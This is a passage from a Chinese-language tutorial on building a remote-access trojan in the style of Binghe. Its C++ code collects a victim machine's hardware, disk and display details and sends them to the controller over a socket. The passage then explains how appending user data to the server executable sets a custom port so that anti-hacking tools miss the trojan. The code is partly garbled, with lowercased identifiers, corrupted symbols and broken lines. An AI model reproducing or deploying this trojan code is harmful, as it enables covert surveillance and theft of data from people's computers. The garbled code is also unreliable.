相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的api,这一点上是和应用程序很相像的。
ansistring cs;
file *fp;
fp=fopen("temp.had","w+");
//todo: add your source code here
//获得cpu型号
system_info systeminfo;
getsysteminfo (&systeminfo);
cs="cpu类型是:"+string(systeminfo.dwprocessortype)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
memorystatus memory;
memory.dwlength =sizeof(memory); //初始化
globalmemorystatus(&memory);
cs="物理内存是(mb):"+string(int(memory.dwtotalphys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs="可用内存是(kb):"+string(int( memory.dwavailphys/1024))+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
dword sector,byte,cluster,free;
long int freespace,totalspace;
uint type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—cd-rom、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
dword sno,maxl,fileflag ;
for (name=‘a‘;name<=‘z‘;name++) {//循环检测a~z
type = getdrivetype(ansistring(ansistring(name)+‘:‘).c_str()); //获得磁
盘类型
if(type==0){
cs="未知类型磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if (type==5) {
cs="光驱:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if (type==6) {
cs="内存虚拟磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
if(getvolumeinformation((string(name)+string(‘:‘)).c_str(), volname,25
5,&sno,&maxl,&fileflag,filename,100)) {
cs=string(name)+"盘卷标为:"+string(volname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs=string(name)+"盘序号为:"+string(sno)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
getdiskfreespace((string(name)+string(‘:‘)).c_str(),§or,&byte
,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=string(name)+string(‘:‘)+"盘总空间(mb):"+ansistring(totalsp
ace)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs=string(name)+string(‘:‘)+"盘可用空间(mb):"+ansistring(frees
pace)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
}
int wavedevice,mididevice;
waveoutcaps wavecap;
midioutcaps midicap;
wavedevice=(int)waveoutgetnumdevs(); //波形设备信息
mididevice=(int)midioutgetnumdevs(); // midi设备信息
if (wavedevice!=0){
waveoutgetdevcaps(0,&wavecap,sizeof(waveoutcaps));
cs="当前波形设备:"+string(wavecap.szpname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
if (mididevice!=0){
midioutgetdevcaps(0,&midicap,sizeof(midioutcaps));
cs="当前midi设备:"+string(midicap.szpname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+string(screen->width)+ansistring("*")+ string(screen->height)
+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
bpp=getdevicecaps(canvas->handle ,bitspixel);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= getdevicecaps(form1->canvas->handle,planes);
tc= pow(double(tcs),double(cp)); //计算色深
ansistring sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
fclose(fp);
ansistring filename="temp.had";
char *buf;
tcpmsguint msg2;
strcpy(msg2.tpassword,password);
tmemorystream *ms=new tmemorystream;
ms->clear();
if (!fileexists(filename)) checkhard();
tfilestream *fs=new tfilestream(filename,fmopenread);
buf=new char[fs->size+sizeof(tcpmsguint)+1];
fs->read(buf,fs->size);
msg2.type=msggethardware;
msg2.length=fs->size;
fileclose(fs->handle);
ms->write(&msg2,sizeof(tcpmsguint));
ms->write(buf,msg2.length);
ms->position=0;
delete []buf;
try{
sock->sendstream(ms);
}
catch(exception&e) {
}
}
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入windows的命令行模式下做如下操作
1)c:\>copy server.exe server.bak
2)建立一个文本文件test.txt,其内容为http://www.patching.net”
3)c:\>type text.txt>>server.exe
4)运行server.exe
怎么样?是不是发现server.exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个exe文件,这个exe文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数n个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

